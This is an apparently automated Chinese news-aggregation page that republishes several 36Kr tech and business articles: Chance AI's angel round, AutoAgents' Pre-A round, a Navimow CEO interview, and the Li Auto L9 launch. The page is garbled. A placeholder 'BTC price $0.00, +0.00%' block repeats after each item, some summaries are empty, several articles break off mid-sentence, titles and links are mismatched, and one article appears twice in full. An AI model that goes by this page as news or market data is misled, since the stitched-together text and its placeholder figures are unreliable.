内容来源：ai 原文链接：https://36kr.com/p/3816045694098952?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-20T09:00:45.111187+00:00

8点1氪丨谷歌推出Gemini 3.5系列模型；DeepSeek回应用户“对话泄露”疑虑；全国存款十强城市出炉

Wed, 20 May 2026 09:00:38 +0000

原文摘要

今日热点导览

文章来源

标题: 8点1氪丨谷歌推出Gemini 3.5系列模型；DeepSeek回应用户“对话泄露”疑虑；全国存款十强城市出炉
来源: ai
链接: https://36kr.com/p/3816885092910212?f=rss
时间: 2026-05-20 08:20:10 +0800

核心内容

今日热点导览

内容来源：ai 原文链接：https://36kr.com/p/3816885092910212?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-20T09:00:38.992752+00:00

第四届中国AIGC产业峰会在京顺利举办！近20位行业大咖解码Agent与非共识机遇

Wed, 20 May 2026 09:00:32 +0000

原文摘要

文章来源

标题: 第四届中国AIGC产业峰会在京顺利举办！近20位行业大咖解码Agent与非共识机遇
来源: ai
链接: https://36kr.com/p/3817353357968516?f=rss
时间: 2026-05-20 16:22:01 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3817353357968516?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-20T09:00:32.922414+00:00

早期项目 | Chance AI获美图等数百万美元投资，用户数已达20万

Wed, 20 May 2026 06:00:56 +0000

原文摘要

作者丨欧雪编辑丨袁斯来硬氪获悉，Visual Agent（视觉智能体）创业公司Chance AI宣布完成数百万美元天使轮融资。本轮由美图领投，NYX Ventures、阿里系投资机构等跟投。融资将用于模型能力迭代、北美学生群体增长、以及社区与商业化探索。 Chance AI成立于2025年，核心产品是全球第一款以摄像头为主要交互入口的AI产品——Visual Agent（视觉智能体）。与传统AI产品依赖输入框不同，用户打开Chance AI后直接拍摄眼前内容，系统即可理解视觉意图并提供判断、建议和行动方案。

Chance AI APP 界面一览（图源/企业）公司创始人曾熙，路径横跨学术与产业。他在巴塞罗那大学获得博士学位，研究方向为认知科学与当代艺术；后在OnePlus、OPPO负责产品与设计；随后加入字节跳动，在Flow部门参与豆包等AI产品从0到1的探索。这段“学术+硬件+软件”的经历让他意识到：大语言模型擅长“回答问题”，但对于人类基于视觉形成判断，AI提供的支持仍非常不足。技术层面，Chance AI的Visual Agent在多模态推理基准MMMU-Pro评测中以86.07%的准确率位居世界第一，超越人类基线（85.4%）。其产品逻辑是“看见—理解意图—调用Agent—完成行动”，而非传统的“拍照—识别—返回结果”。随着使用加深，系统会形成用户的个人视觉记忆，包括风格偏好、衣橱构成、社交形象等。曾熙表示：“Chance AI不是只理解图片，而是理解用户为什么拍这张图、想解决什么问题、下一步行动是什么。” 截至目前，Chance AI已累计获得约20万用户，其中约40%来自北美市场，产品覆盖35个以上国家。30天回访率达到49.2%，用户粘性显著领先行业。产品曾两次登上Product Hunt当日榜首。 Chance AI早期选择从北美年轻女性群体切入，尤其是大学女生。这一群体被称为“Visual Native”（视觉原生代），成长于Instagram、TikTok和自拍文化中，理解和表达方式天然以视觉为先。目前核心使用场景集中在：审美积累、个人形象分析、穿搭检查、设计判断和社交表达。公司的早期增长也以北美高校为核心阵地，已在纽约大学、南加州大学等高校建立网络，通过线下活动获取种子用户并收集真实需求反馈。据公司披露，近一半用户在安装后一个月内会再次使用产品。

Chance AI的北美高校宣传活动（图源/企业）商业模式方面，公司规划了高级功能订阅、硬件授权和谨慎的广告推荐三个方向，但当前优先级最高的是用户习惯养成。长期来看，公司计划从Visual Agent工具向AI-native生活方式社区演进——用户拍照后由Agent生成可分享内容，用户之间围绕风格、审美和生活方式进行互动。 2026年，公司最重要的目标是继续在北美学生群体中深入扩张，挖掘年轻人真实的使用场景。投资方观点：美图全球投资负责人表示：“我们相信，AI消费应用的下一阶段，是更自然地进入用户的日常决策与表达过程。我们看到Chance AI让视觉AI从图像识别走向审美品味。这也是我们投资的原因——他们把复杂的AI能力产品化，带进了全球年轻用户的审美生活中。”

文章来源

标题: 早期项目 | Chance AI获美图等数百万美元投资，用户数已达20万
来源: ai
链接: https://36kr.com/p/3816947890471812?f=rss
时间: 2026-05-20 09:20:43 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3816947890471812?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-20T06:00:56.930227+00:00

要做数字劳动力生产工厂，「未来式智能」完成Pre-A轮融资

Wed, 20 May 2026 06:00:50 +0000

原文摘要

文｜王欣逸编辑｜邓咏仪 36氪获悉，未来式智能（AutoAgents.ai）近日完成Pre-A轮融资，新进投资方包括凡创资本、中关村资本、探元资本，老股东东证创新、麟阁创投跟投，本轮融资主要用于算力投入、团队扩张以及新产品的生态建设运营。未来式智能成立于2023年6月，专注于以智能体技术赋能知识工作者。核心团队来自达摩院、腾讯、字节跳动和谷歌。创始人兼CEO杨劲松曾在达摩院担任产品/商业化总监，曾任字节飞书AI负责人、亚马逊AWS aPaaS平台负责人，主导推出阿里灵杰、通义-Alicemind，在AI产品和商业化方面有着多年经验。作为核心产品之一的企业级智能体搭建平台“灵搭”，旨在解决企业部署和应用大模型时的核心诉求：数据安全隐私、权限分级管理、复杂系统集成，以及智能体在真实业务场景中的交付稳定性。 “灵搭”从诞生之初便一直把重点放在企业客户，尤其是电力、金融、制造等对稳定性和合规要求极高的行业。时间回到2023年，当“百模大战”正酣、大多数创业者和投资人涌向大模型赛道时，杨劲松做出了一个与众不同的决定——不做大模型，做Agent。在阿里达摩院亲手训练大模型的经历让他看到：大模型会成为基础设施，但并非最终消费形态，企业需要的是一套能交付结果的系统，这正是Agent所能解决的问题。灵搭定位为面向业务人员的低代码AI智能体开发平台。区别于Coze、Dify等画布类产品，灵搭更看中非技术背景用户的需求，目标是降低业务人员构建和使用Agent的门槛。在产品能力上，灵搭提供20+标准模块节点，涵盖用户提问、AI对话、信息分类提取、知识库搜索、文档审查、图片识别、数据库查询等，并支持Text2Agent自然语言生成工作流与Skills技能引擎，将原本需要IT团队或外部实施团队完成的繁琐工作，转到更接近业务现场的人手里。在架构层面，灵搭采用了“云+端”的设计：云侧积累、沉淀组织内的核心知识资产——包括Agent、专属Skill和工作上下文等；端侧让员工通过本地客户端直接安全调用企业的全量知识库，并在日常高频的业务摩擦中沉淀出新的Skill，最终回流至云端知识库。在B端战场，未来式智能已在多个垂直行业实现标杆场景的规模化落地。从种子客户华东电网的合同审核项目开始，灵搭已覆盖超过20家电网客户，续约率100%，市场占有率位居Agent产品前列。 2024年未来式智能实现数百万元营收，2025年增长达4倍，全盘收入已来自电力、金融、制造等多个行业，今年（2026年）的目标是冲击亿元。在B端大客户上积累了深厚的行业经验与典型模板后，未来式智能于近日正式推出了另一款重量级战略新品——AI数字专家市场“袋袋”。如果说“灵搭”是AI数字劳动力的生产工厂，为企业提供搭建、管理Agent的底层平台；那么“袋袋”就是Agent用工平台，将人类专家的深度认知数字化，封装为可以直接交付结果的数字员工，用户可以直接在平台上“领一个数字专家回去干活”，按需雇佣并按结果付费。今年以来，OpenClaw等Agent工具一度火热又很快降温。杨劲松认为，未来绝大多数用户应该是“用”Agent而非“养”Agent，袋袋正是这一理念的产物。袋袋平台目前提供两种模式：应用模式用于处理报关单、报税等特定场景的高效任务；专家模式则深度承接AI视频生产、电商营销素材生成、自媒体运营、投资尽职调查等复杂岗位职能。据悉，袋袋团队目前已和近百位人类专家达成合作，帮助专家将能力数字化以实现知识变现。在早期种子客户的验证下，袋袋已跑出超千万元的ARR势能。 “灵搭”与“袋袋”的并行，构成了未来式智能独有的“约束工程（Harness Engineering）”协同飞轮。这一概念的内涵是：用真实场景产生的海量任务数据，反向打磨Agent的每一步决策。两条产品线将形成协同闭环——袋袋产生的用户数据与任务轨迹，实时回流以迭代灵搭的底层模型与Agent能力；而灵搭上进化出的更强智能体组件，则重新上架至袋袋供用户使用。在这种双轮驱动下，平台生产的数字员工任务成功率已从最初的72%大幅跨越至91%。从客户画像来看，“灵搭”的客户主要集中在能源、金融和制造业等行业，如国家电网、大型银行和券商等头部机构；“袋袋”则把早期客户优先框在小B端和C端客户。今年，灵搭希望推动产品进入行业规模化复制的阶段，将已有的方法论和工具向券商、银行等机构快速推广。杨劲松表示，Agent生意的本质是“算力兑换人力”。以华东某企业客户为例，在使用AutoAgents的方案后，某项业务的人力成本降至原来的十分之一。 “目前的基模能力已经远可以胜任客户需求，问题在于是否足够深入场景和稳定交付。”杨劲松告诉《智能涌现》。随着Token成本下行，Agent的ROI将展现出极高且不可逆的趋势。当AI承担了越来越多的基础工作，组织的人才画像也在随之改变。未来式智能将基于长期积累的场景和数据，在具体垂直任务上实现行业内的最优交付水平。杨劲松判断，随着Agent能力持续提升，组织内的初级任务或将由AI完成，企业会更看重员工的高阶能力——对业务的深层理解、指挥AI、检查AI结果、审美判断，以及如何利用Agent优化既有业务流程。

文章来源

标题: 要做数字劳动力生产工厂，「未来式智能」完成Pre-A轮融资
来源: ai
链接: https://36kr.com/p/3816909945029760?f=rss
时间: 2026-05-20 09:21:27 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3816909945029760?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-20T06:00:50.064210+00:00

做出百万台割草机器人后，未岚大陆CEO决定让自己变得“不重要”｜硬氪专访

Wed, 20 May 2026 06:00:43 +0000

原文摘要

作者｜黄楠编辑｜袁斯来未岚大陆CEO任冠佼等了7年，等到了行业的爆发。他还记得，2019年刚进入无边界智能割草机器人赛道，自己“只是觉得这个方向一定能火”。到2021年第一代产品推出时，他们也只敢确定，这是一个能做到10-20亿的行业。直到2025年，增速超出他的预期。IDC数据显示，2025年全球无边界割草机器人出货量达到131.8万台，同比增长182.4%，占整个割草机器人市场出货量的66.2%。未岚大陆自身的累计实现量产，在今年突破100万台，公司营收迈入数十亿量级。但同时，高速增长的背后，也倒逼任冠佼完成了一场至关重要的认知破局。任冠佼意识到，行业迭代速度持续加快，以往相对保守的经营方式显然已经跟不上节奏。他逼着自己从一个工程师成长为公司掌舵人。最近一年，任冠佼跳出琐碎的一线工作、学习战略研判，并慢慢适应创业者最难的一课——学会放手。他不再事事亲力亲为，转而在内部引进IPD体系（集成产品开发流程），培养能够独立决策、独立担责的产品团队。任冠佼的目标很清晰，要减少个人单点决策依赖，把个人能力转化为组织能力，让自己慢慢变得“不那么重要”。当前，智能割草机器人赛道热度持续走高，市场窗口期正在快速收窄，行业竞争从增量扩张转向精细化比拼。能否吃透海外差异化市场、筑牢技术壁垒、完成体系化能力升级，也成为未岚大陆下一阶段发展的关键考题。我们与未岚大陆CEO任冠佼聊了聊欧美市场差异、产品迭代策略，以及如何学会放手背后的身份转变。以下是硬氪同任冠佼的对谈实录，内容经编辑：系统化产品洞察能力硬氪：从2021年发布第一款无边界智能割草机器人、到2026年累计量产突破100万台，未岚大陆用了五年时间。你每一阶段的工作内容有发生什么变化么？任冠佼：2019年，我们看到了割草机器人赛道的机会。最早很多东西都不完善，所以我一开始需要兼顾产品定义与整体项目统筹的多个职责。2021到2022年是第一代产品的研发阶段，几乎所有供应链我都跑过，5块钱以上的芯片供应商一家家跑、找他们聊，所以基本上未岚大陆早期的供应商我都认识。后来产品发布，我的工作转向以市场拓展和业务拓展为主，更多跟着营销服务团队到业务一线去做事情。2022年起，每年都有好几个月我会在欧洲，2025年在美国待得比较多。去年中下旬，我把更多时间聚焦在战略层面工作，重心放在做方向研判与业务决策上。

未岚大陆第100万台智能割草机器人下线（图源/企业）硬氪：你是什么时候开始意识到“战略”很重要？任冠佼：以前觉得战略是个很虚的东西，只要产品好、渠道好、营销好就足够了。但其实不是，每一家企业基因不一样，愿景不一样，企业必须要基于愿景和当前手里的能力，去选最有价值的那个方向。所以意识到这件事之后，我就开始有选择地分配精力和做取舍，不能再什么事都冲在前面了。硬氪：做战略这件事比较难，还是做产品、管理更难？任冠佼：其实每一年都很挑战。核心是你每年都会认知到，过去的自己是有瓶颈的，每年都要突破。人在状态很稳定的时候，一般就是处于舒适区；但当你觉得处于不适的阶段，恰恰是个人成长速度最快的时期。去年我们在业务推进中确实发现了一些问题，整体市场表现与前期预期存在偏差。一方面是过往对线上渠道的认知度不足，所以团队今年重点发力线上，目前成效还不错。另一方面，进入美国后我们看到，不同地区用户的认知存在明显差异，由于之前缺少系统化洞察，尝试把欧洲成功的经验复制到美国，结果发现适配性不足，虽然有一定效果、但效率不高。硬氪：美国与欧洲用户的需求差异在产品上有哪些具体表现？任冠佼：比如未岚大陆CES 2026上发布的X4系列，跟团队在2025年初对美国的用户偏好调研密切相关。我们发现，美国用户对有边界、无边界的认知相对不足，反而对强劲动力、更强的通过性和四驱等卖点更为敏感，他们看重产品“Powerful”的感觉。同时，产品功能也要足够简单、好用，贴合美国用户的消费心理。比如美国草坪更加开放，用户对安全性的要求很高，尤其重视防丢功能。因此，X4系列也相应推出了Find My功能，跟苹果iOS系统的Find My深度绑定，设备在超出边界时不仅会自动警报，用户也可以在其丢失后通过定位查找功能找回。硬氪：除了功能上的显性需求外，地理环境对产品设计和性能调校带来的影响大么？任冠佼：草种差异也会影响我们对产品的设计。针对不同草种特性，必须对整机的切割系统和动力系统进行专项适配优化。 2024年底，未岚大陆在进入美国市场时，收到了大量用户反馈设备割不动草。我们觉得很奇怪，因为当时产品已经在欧洲卖出了十几万台，几乎没收到过类似的售后问题。调查后才发现，是一种名为圣奥古斯丁的草，在美国称圣奥古斯丁草、澳洲称其为水牛草。这种草在我们早前国内和欧洲本地的测试中从未遇到过。圣奥古斯丁草属于暖季型草，在中国仅海南有分布；而未岚大陆的产品测试主要在常州、深圳和北方地区进行。按照秦岭淮河划分，北方种植的是冷季型草，以早熟禾、高羊茅为主，设备都能正常切割。但暖季型草多为细软品种，许多高尔夫球场会使用，以佛罗里达州为主的美国南部很多人种植圣奥古斯丁草，这种草长势茂密、茎叶偏长，对设备的切割性能尤其是刀片素质要求极高。同时，这种草坪根系发达，地面易泥泞松软，机器人作业时容易下陷、啃食草根，设备必须具备充足的切割动力与通过性能，才能胜任这类环境。

未岚大陆CEO任冠佼在第100万台割草机下线活动上（图源/企业）硬氪：硬件结构上做了哪些创新设计？任冠佼：我们把前驱做成可转向轮的方案，背后有多重考量。 2023年，研发团队对欧洲市场做了充分调研，认为四驱价值不大，尤其是面向荷兰、德国等地形平坦的国家和地区，两驱方案足以应对。当时，许多用户反馈家里有陡坡，但经我们实地查看后发现坡度并不大，因此2025年以前，未岚大陆并没有推出四驱的产品。直到去年，四驱产品在欧美都有不错的产品表现，跟我们前几年的调研结果对比存在较大偏差。为此，团队又对每个区域状况进行了深入调查：奥地利和挪威地区的山区多、草坪坡度大，四驱卖得好；美国虽山不多，但用户追求的“Powerful”心理使得四驱结构也很受欢迎。硬氪：它跟市场上已有的四驱方案区别是什么？任冠佼：我们注意到，不少用户反映部分四驱产品存在损伤草坪的问题，这也是X4的结构方案要解决的核心痛点。从技术原理上解释，机器人本体在空间内拥有六个自由度，包含前进、平移、转向三个平动自由度，以及横滚、俯仰、偏航三个姿态转动自由度。若要实现平面三自由度全向运动，单纯采用四轮结构在原理上会产生运动干涉。因此，我们能看到有几类解决方案。第一种为阿克曼转向结构，与汽车的转向原理一致，通过底盘连杆机构控制左右车轮转角差异化，规避侧向滑移；但它的缺点是转弯半径大、倒车操控不便，在草坪作业场景适配性较差。第二种是履带式结构，可实现原地零半径转向，但履带转向过程中会产生侧滑移，容易损伤草坪。而常规普通四驱结构可看作履带的简化形态，同样存在转向侧移、伤草的问题。还有的采用在

文章来源

标题: 做出百万台割草机器人后，未岚大陆CEO决定让自己变得“不重要”｜硬氪专访
来源: ai
链接: https://36kr.com/p/3814411349581316?f=rss
时间: 2026-05-20 09:30:00 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3814411349581316?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-20T06:00:43.137677+00:00

理想新L9上市72小时：老车主复购占大头，仍需从“家庭”破圈

Wed, 20 May 2026 06:00:36 +0000

原文摘要

文 | 徐蔡钰编辑 | 李勤 “爆了，试驾根本约不上”，5月16至17日，理想新L9上市的首个周末，门店挤满了前来试驾的用户们。这款在2022年首次面世的增程大六座SUV，发布了第四代车型。新L9分Ultra与Livis两种版本，起售价分别为45.98万元、50.98万元。相较此前的年度改款，本次新L9的更新幅度更加显著：全系标配72.7kWh电池，纯电续航达到420公里，综合续航突破1600公里。理想自研马赫芯片首次上车，单颗芯片算力达到1280TOPS。线控转向系统与后轮转向技术的加入，带来了底盘能力的大幅升级；Livis版本额外搭载的800V主动悬架与EMB电子机械制动系统，更是汽车底盘前沿技术的首发落地。配置拉满的同时，将实际售价较预售价大幅下调5万元，新L9一套“高配降价”的组合拳，力度超出了市场预期。新车上市后，理想全国门店似乎复现了2022年第一代L9上市的火爆盛况。 “这个周末，所有门店、所有时段的理想L9试驾都已经排满”，36氪走访了理想L系列最畅销的广州、深圳地区，多家门店店长告诉36氪，新款L9上市后，门店的确迎来了又一次订单高峰。但36氪注意到，大部分门店仅配备一台新款L9试驾车。而行业中其他品牌对热门新车的试驾车投放力度要大得多，例如小米SU7，其首代车型上市时，门店便配备5-6台试驾车，第二代车型上市时，部分核心门店甚至配置约10台试驾车。在试驾车资源受限的前提下，门店的排队盛况能否直接等同于市场的成功引爆？与初代L9上市时不同，如今理想的销量基本盘已下移至20-30万元的i6与L6。这意味着，其曾经在高端市场建立的护城河正在松动。（36氪曾报道理想销量迷局，点击查看）因此，这款旗舰新作也被视为理想的翻身仗。新L9的市场反响，远不止于贡献销量数字，更关乎理想能否重新捍卫自己的品牌天花板。门店直击：老客户复购率高，Livis版本更具吸引力新车上市后72小时，理想汽车官方未曾公布订单数量。但理想APP显示，Livis版的交付周期已更新为6-8周。这意味着，仅在上市首周末，其锁单量就相当于该版本超过一个半月的产能。 “理想L系列一直都是广东地区卖得最好，这个周末，核心地区每家店基本都拿到超过30个订单”，广东地区多家门店店长透露，新款车型上市前，门店甚至已连续数周没有L9的新增订单。 36氪同步从产业处获悉，截至5月17日，理想L9全国锁单数量已超6500辆，“供应链也接到了加量和加急保交付的需求”。多位销售向36氪表示，售价公布后订单转化速度超出预期。“新车上市前一周，我们没有停止过销售线索联系。55.98万元的预售价，其实让很多客户望而却步，我们压力很大”，一位销售坦言，“最终售价发布后，咨询和下单明显加快，总算松了口气”。但在公司层面，气氛则更为清醒。一位接近理想的人士对36氪表示，目前的锁单量“远没到开香槟的地步”。内部的真正期待，是让L9重返2023年那种连续多月销量破万的巅峰状态，“目前的锁单量不足以邀功”。此外，36氪走访发现，新L9的订单结构中，一个现象尤为突出：不仅顶配的Livis版本订单占比超过七成，所有订单中老车主的复购比例也高达近七成。这并非偶然。“我们提前一周就开始系统性地邀约理想ONE和初代L9车主”，多位店长告诉36氪，“周末的试驾车，几乎就是被这些定向邀请的老车主约满”。可观的置换权益是推动老客决策的直接动力。多位销售表示，理想ONE车主换购可享5.5万元优惠，Livis版实际落地价约47万元。“老车主品牌信任度高，试驾后直接下单的比例特别大”。成交单价与用户画像均显示，Livis版本正在有效拉动品牌向上。但多位一线销售向36氪透露了一个更深层的洞察：选择顶配的车主，其决策逻辑与常规认知有所不同。 “这些早期车主是我们��‘大熊猫’，一直被精心维护”，一位销售表示，“他们选Livis，更多是出于对品牌的深度信任和足够的预算，而非反复对比配置。参数对他们来说，可能没那么重要”。高忠诚客群背后，新L9困于“家庭”标签 2023年，理想L9以“增程式大六座家庭SUV”的精准定位，成为高端市场销量翘楚。这款定位40万-50万元的产品，实现了连续多月交付量破万的成绩，成为细分市场的现象级车型。以L9为起点，理想后续一系列“套娃”车型也相继获得成功，理想汽车一度喊出“上市即交付、交付即上量”的口号，并设定了70万辆的年度销量目标。业界将理想L9的成功归因于其突出的产品力，也因此吸引了众多品牌跟进效仿其产品思路。冰箱、后排娱乐屏、舒适型座椅以及宽敞的中央通道，逐渐成为中国市场六座SUV的标配，该细分市场迅速进入竞争激烈的“红海”阶段。多位理想销售向36氪透露，在新车上市前的培训中，他们重点分析了竞品问界M9、极氪9X以及蔚来即将推出的ES9。 “这几款车各有侧重，理想主打家庭用车，问界强调智能驾驶，极氪9X的商务属性最为突出，而蔚来则具备换电体系。我们在向客户介绍时不会刻意贬低竞品，更何况我们的客户群体本身对浓厚商务风格的车型也不太感兴趣。” 从产品细节中也可以清晰感知其定位差异。新一代理想L9在第二排新增了带照明的化妆镜，并扩大了小桌板面积。这些设计在功能层面并不复杂，却非常贴合家庭出行场景。由于产品定位与目标客群的不同，竞争对手们目前并未在这样的细节打磨上做类似投入。对家庭场景的极致洞察与满足，为理想汽车培育了忠诚度较高的用户群体，这是成熟高端品牌所具备的核心特质。成熟汽车品牌的护城河，不仅在于产品本身，更在于能否让用户持续选择并主动推荐。这种忠诚不依赖产品参数，更多源于情感联结与整体体验的深度契合。高忠诚度意味着品牌能够以更低的获客成本实现增长，并在市场波动中保持稳健的经营韧性。这也解释了为何如丰田、宝马等品牌即便下滑，依然能维持可观的销量基本盘，忠诚用户就是它们穿越周期的坚实底座。对理想而言，高忠诚度直接体现在用户的复购行为上。从理想ONE置换至新L9的客户，未来仍大概率继续选择理想品牌。 36氪在门店走访中观察到，蔚来的复购率就没有那么明显，新ES8、新ES9等新车订单中，首次选购蔚来的比例相当高，蔚来新车目前仍然处于产品力竞争阶段。多位一线销售对36氪表示，即使是老车主，下单也较为谨慎。“我们很少遇到不看实车就盲定的。基本都是我们建议，然后客户邀上全家来看、来试。最后能不能成，就看新L9能不能让全家都点头”。这便产生了另一重隐忧，尽管新款L9在技术上进行了全面革新，包括底盘、悬架、转向、制动等核心系统的升级，但L9依然被锚定在“家庭旗舰SUV”的认知中。有极氪门店销售人士告诉36氪：“很多来看极氪9X的客户，甚至从未考虑过或体验过理想汽车，他们需要这辆车的商务身份象征”。通过新L9，理想对家庭产品的打磨能力和用户口碑再次得到验证。但理想汽车的野心绝非仅此，新L9在售价与前沿技术广度上的双双上探，已清晰地揭示了理想品牌向上的更大蓝图。然而，中国市场50万元级别车型的年销量天花

文章来源

标题: 理想新L9上市72小时：老车主复购占大头，仍需从“家庭”破圈
来源: ai
链接: https://36kr.com/p/3709756082466949?f=rss
时间: 2026-05-20 10:24:46 +0800

核心内容

文 | 徐蔡钰编辑 | 李勤 “爆了，试驾根本约不上”，5月16至17日，理想新L9上市的首个周末，门店挤满了前来试驾的用户们。这款在2022年首次面世的增程大六座SUV，发布了第四代车型。新L9分Ultra与Livis两种版本，起售价分别为45.98万元、50.98万元。相较此前的年度改款，本次新L9的更新幅度更加显著：全系标配72.7kWh电池，纯电续航达到420公里，综合续航突破1600公里。理想自研马赫芯片首次上车，单颗芯片算力达到1280TOPS。线控转向系统与后轮转向技术的加入，带来了底盘能力的大幅升级；Livis版本额外搭载的800V主动悬架与EMB电子机械制动系统，更是汽车底盘前沿技术的首发落地。配置拉满的同时，将实际售价较预售价大幅下调5万元，新L9一套“高配降价”的组合拳，力度超出了市场预期。新车上市后，理想全国门店似乎复现了2022年第一代L9上市的火爆盛况。 “这个周末，所有门店、所有时段的理想L9试驾都已经排满”，36氪走访了理想L系列最畅销的广州、深圳地区，多家门店店长告诉36氪，新款L9上市后，门店的确迎来了又一次订单高峰。但36氪注意到，大部分门店仅配备一台新款L9试驾车。而行业中其他品牌对热门新车的试驾车投放力度要大得多，例如小米SU7，其首代车型上市时，门店便配备5-6台试驾车，第二代车型上市时，部分核心门店甚至配置约10台试驾车。在试驾车资源受限的前提下，门店的排队盛况能否直接等同于市场的成功引爆？与初代L9上市时不同，如今理想的销量基本盘已下移至20-30万元的i6与L6。这意味着，其曾经在高端市场建立的护城河正在松动。（36氪曾报道理想销量迷局，点击查看）因此，这款旗舰新作也被视为理想的翻身仗。新L9的市场反响，远不止于贡献销量数字，更关乎理想能否重新捍卫自己的品牌天花板。门店直击：老客户复购率高，Livis版本更具吸引力新车上市后72小时，理想汽车官方未曾公布订单数量。但理想APP显示，Livis版的交付周期已更新为6-8周。这意味着，仅在上市首周末，其锁单量就相当于该版本超过一个半月的产能。 “理想L系列一直都是广东地区卖得最好，这个周末，核心地区每家店基本都拿到超过30个订单”，广东地区多家门店店长透露，新款车型上市前，门店甚至已连续数周没有L9的新增订单。 36氪同步从产业处获悉，截至5月17日，理想L9全国锁单数量已超6500辆，“供应链也接到了加量和加急保交付的需求”。多位销售向36氪表示，售价公布后订单转化速度超出预期。“新车上市前一周，我们没有停止过销售线索联系。55.98万元的预售价，其实让很多客户望而却步，我们压力很大”，一位销售坦言，“最终售价发布后，咨询和下单明显加快，总算松了口气”。但在公司层面，气氛则更为清醒。一位接近理想的人士对36氪表示，目前的锁单量“远没到开香槟的地步”。内部的真正期待，是让L9重返2023年那种连续多月销量破万的巅峰状态，“目前的锁单量不足以邀功”。此外，36氪走访发现，新L9的订单结构中，一个现象尤为突出：不仅顶配的Livis版本订单占比超过七成，所有订单中老车主的复购比例也高达近七成。这并非偶然。“我们提前一周就开始系统性地邀约理想ONE和初代L9车主”，多位店长告诉36氪，“周末的试驾车，几乎就是被这些定向邀请的老车主约满”。可观的置换权益是推动老客决策的直接动力。多位销售表示，理想ONE车主换购可享5.5万元优惠，Livis版实际落地价约47万元。“老车主品牌信任度高，试驾后直接下单的比例特别大”。成交单价与用户画像均显示，Livis版本正在有效拉动品牌向上。但多位一线销售向36氪透露了一个更深层的洞察：选择顶配的车主，其决策逻辑与常规认知有所不同。 “这些早期车主是我们��‘大熊猫’，一直被精心维护”，一位销售表示，“他们选Livis，更多是出于对品牌的深度信任和足够的预算，而非反复对比配置。参数对他们来说，可能没那么重要”。高忠诚客群背后，新L9困于“家庭”标签 2023年，理想L9以“增程式大六座家庭SUV”的精准定位，成为高端市场销量翘楚。这款定位40万-50万元的产品，实现了连续多月交付量破万的成绩，成为细分市场的现象级车型。以L9为起点，理想后续一系列“套娃”车型也相继获得成功，理想汽车一度喊出“上市即交付、交付即上量”的口号，并设定了70万辆的年度销量目标。业界将理想L9的成功归因于其突出的产品力，也因此吸引了众多品牌跟进效仿其产品思路。冰箱、后排娱乐屏、舒适型座椅以及宽敞的中央通道，逐渐成为中国市场六座SUV的标配，该细分市场迅速进入竞争激烈的“红海”阶段。多位理想销售向36氪透露，在新车上市前的培训中，他们重点分析了竞品问界M9、极氪9X以及蔚来即将推出的ES9。 “这几款车各有侧重，理想主打家庭用车，问界强调智能驾驶，极氪9X的商务属性最为突出，而蔚来则具备换电体系。我们在向客户介绍时不会刻意贬低竞品，更何况我们的客户群体本身对浓厚商务风格的车型也不太感兴趣。” 从产品细节中也可以清晰感知其定位差异。新一代理想L9在第二排新增了带照明的化妆镜，并扩大了小桌板面积。这些设计在功能层面并不复杂，却非常贴合家庭出行场景。由于产品定位与目标客群的不同，竞争对手们目前并未在这样的细节打磨上做类似投入。对家庭场景的极致洞察与满足，为理想汽车培育了忠诚度较高的用户群体，这是成熟高端品牌所具备的核心特质。成熟汽车品牌的护城河，不仅在于产品本身，更在于能否让用户持续选择并主动推荐。这种忠诚不依赖产品参数，更多源于情感联结与整体体验的深度契合。高忠诚度意味着品牌能够以更低的获客成本实现增长，并在市场波动中保持稳健的经营韧性。这也解释了为何如丰田、宝马等品牌即便下滑，依然能维持可观的销量基本盘，忠诚用户就是它们穿越周期的坚实底座。对理想而言，高忠诚度直接体现在用户的复购行为上。从理想ONE置换至新L9的客户，未来仍大概率继续选择理想品牌。 36氪在门店走访中观察到，蔚来的复购率就没有那么明显，新ES8、新ES9等新车订单中，首次选购蔚来的比例相当高，蔚来新车目前仍然处于产品力竞争阶段。多位一线销售对36氪表示，即使是老车主，下单也较为谨慎。“我们很少遇到不看实车就盲定的。基本都是我们建议，然后客户邀上全家来看、来试。最后能不能成，就看新L9能不能让全家都点头”。这便产生了另一重隐忧，尽管新款L9在技术上进行了全面革新，包括底盘、悬架、转向、制动等核心系统的升级，但L9依然被锚定在“家庭旗舰SUV”的认知中。有极氪门店销售人士告诉36氪：“很多来看极氪9X的客户，甚至从未考虑过或体验过理想汽车，他们需要这辆车的商务身份象征”。通过新L9，理想对家庭产品的打磨能力和用户口碑再次得到验证。但理想汽车的野心绝非仅此，新L9在售价与前沿技术广度上的双双上探，已清晰地揭示了理想品牌向上的更大蓝图。然而，中国市场50万元级别车型的年销量天花

内容来源：ai 原文链接：https://36kr.com/p/3709756082466949?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-20T06:00:36.564511+00:00

长鑫科技更新招股书，碧桂园错失300亿

Wed, 20 May 2026 06:00:31 +0000

原文摘要

